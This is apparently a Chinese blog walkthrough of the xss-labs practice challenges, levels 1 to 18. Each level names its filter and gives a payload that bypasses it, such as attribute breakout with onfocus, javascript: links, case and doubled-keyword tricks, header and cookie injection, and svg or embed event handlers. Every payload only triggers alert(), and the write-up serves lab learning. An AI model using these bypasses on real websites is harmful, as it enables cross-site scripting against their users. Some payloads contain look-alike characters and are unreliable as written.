level1:
在name中传入参数时直接插入到HTML中 ,可以直接在name后插入js代码。
level2:
直接在搜索框输入上一题的代码
查看源码发现value中的代码特殊符号没有被实体转义
可以闭合掉">,构造payload
level3:
随机输入查看源码
发现是单引号闭合,输入'><script>alert()</script>,查看源码发现符合被实体化
查看后端代码发现htmlspecialchars函数,是针对<>大于小于号进行html实体化 ,还可以通过其他方式注入如:onfocus(在元素获得焦点时触发,配合javascript伪协议来执行javascript代码),onclick(在用户单击按钮时执行js代码)
' οnfοcus=javascript:alert() '
'οnclick='alert("xss")
点击搜索后再点击搜索框即可
level4:
查看源码发现是双引号闭合,输入"><script>alert()</script>,发现<>被过滤
还可以继续用onfocus标签绕过
" οnfοcus=javascript:alert() "
"οnclick="alert()
level5:
输入"οnclick="alert(),查看源码
输入"><script>alert()</script>,查看源码
查看后端代码发现使用strtolower转化为小写,str_replace来过滤,可以使用用a href标签法
href属性的意思是 当标签<a>被点击的时候,就会触发执行转跳,可以通过触发执行js代码
添加一个标签得闭合前面的标签
"> <a href=javascript:alert()>wdf</a> <"
再点击wdf标签即可
level6:
输入测试,发现过滤了许多关键字,如:href,script,on
改变大写发现没有被转换,则可以用大小写过滤
"> <sCript>alert()</sCript> <"
" Onfocus=javascript:alert() "
"> <a hRef=javascript:alert()>wdf</a> <"
level7:
传入" onfocus <script> <a href=javascript:alert()>,发现进行了小写的转换,并且删除了一些关键字
可以通过双拼写绕过,如:oonn,scscriptript.....
level8:
输入" src data onfocus <script> <a href=javascript:alert()>发现参数出现在两个地方:value和href,并且把双引号和<>给实体化,小写转换,还对关键字进行了过滤
可以利用href的隐藏属性自动Unicode解码
由于这里本身存在<a href=
所以只需要编码javascript:alert()
再点击友情链接即可
level9:
输入" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> 查看源码发现没有插入成功
查看源码发现
使用strpos当传入的值false中没有http://时执行if语句,所以需要向传入的值里面添加http://并用注释符注释掉否则会执行不了无法弹窗,让函数strpos返回一个数字,构造payload
javascript:alert()/* http:// */
javascript:alert()/* http:// */
level10:
测试关键字,发现get传参的值只插入到h2标签中,input标签隐藏,过滤掉了<>
查看源码发现 get传参还能传给t_sort
可以使用onfocus事件,输入框被隐藏,所以得输入type="text",构造payload
?t_sort=" οnfοcus=javascript:alert() type="text
再点击输入框即可
level11:
查看源码发现input标签中有4个值,且都隐藏,第四个 t_ref是http头referer的参数(就是由啥地址转跳到这里的,http头的referer会记录有)
查看源码发现$str11=$_SERVER['HTTP_REFERER']
,HTTP_REFERER是获取http请求中的Referer字段的,也就是链接到当前页面的前一页面
抓包后看到没有referer信息,构造一个referer发送过去可以看到被t_ref获取了
可以用onfocus构造
referer: " οnfοcus=javascript:alert() type="text
再点击输入框即可
level12:
查看源码发现value中有User-Agent的内容,可以抓包后修改User-Agent
" οnfοcus=javascript:alert() type="text
再点击输入框即可
level13:
名字是t_cook,可以查看一下网页cookie
cookie名是user,直接改值
" οnclick=alert() type="text
刷新点击即可
level14:
这关由于网站挂掉无法实现,用到的是exif xss复现,exif xss 复现_如和把xss写入到图片里-CSDN博客
level15:
查看源码发现ng-include,ng-include指令就是文件包涵的意思,用来包涵外部的html文件,如果包涵的内容是地址,需要加引号
可以尝试包含第一关,构造payload
?src='/level1.php'
测试过滤
?src=" ' sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>
这里不能包涵那些直接弹窗的东西如<script>,但是可以包涵那些标签的东西比如<a>、<input>、<img>、<p>标签等等,这些标签是能需要我们手动点击弹窗的
?src='/level1.php?name=<img src=1 οnmοuseοver=alert()>'
鼠标移动到图片即可
level16:
test插入到center中,不用闭合,测试关键字
?keyword=" ' sRc DaTa OnFocus onm ouseOver onm ouseDoWn P <sCriPt> <a hReF=javascript:alert()>
将字母小写,把script替换成空格,最后将空格给实体化
查看源码发现是把script,空格,/,都转换成了空格字符
空格可以用回车代替,回车的url编码为%0A,再配合上不用/的<img>、<details>、<svg>等标签构造payload为
?keyword=<svg%0Aοnlοad=alert(1)>
level17:
测试关键字
?arg01=" ' sRc DaTa OnFocus onm ouseOver onm ouseDoWn P <sCriPt> <a hReF=javascript:alert()>; &arg02=" ' sRc DaTa OnFocus onm ouseOver onm ouseDoWn P <sCriPt> <a hReF=javascript:alert()>;
添加了转义,传入的参数都在embed标签中,不需要闭合符号
embed标签可以理解为定义了一个区域,可以放图片、视频、音频等内容,但是呢相对于他们,embed标签打开不了文件的时候就会没有显示的区域在
首先得用一个支持flash插件的浏览器打开本关(打开后会有个图片出来的,不支持flash插件浏览器就没有),如果不想下载的话,自己去后端改一下也行,将后端第十七关的代码(level17.php)指向的swf文件改为index.png
jiuh
就会出现embed标签的区域,接着构造payload
?arg01=%20onmouseover&arg02=alert(1)
鼠标移动到图片上即可
level18:
测试后发现和上一关差别不大,就是换了个swf文件,构建payload
?arg01= onm ouseover&arg02=alert(1)
鼠标移动到图片上即可
标签:xss,查看,--,标签,javascript,alert,labs,&#,源码 From: https://blog.csdn.net/2301_81447810/article/details/144173479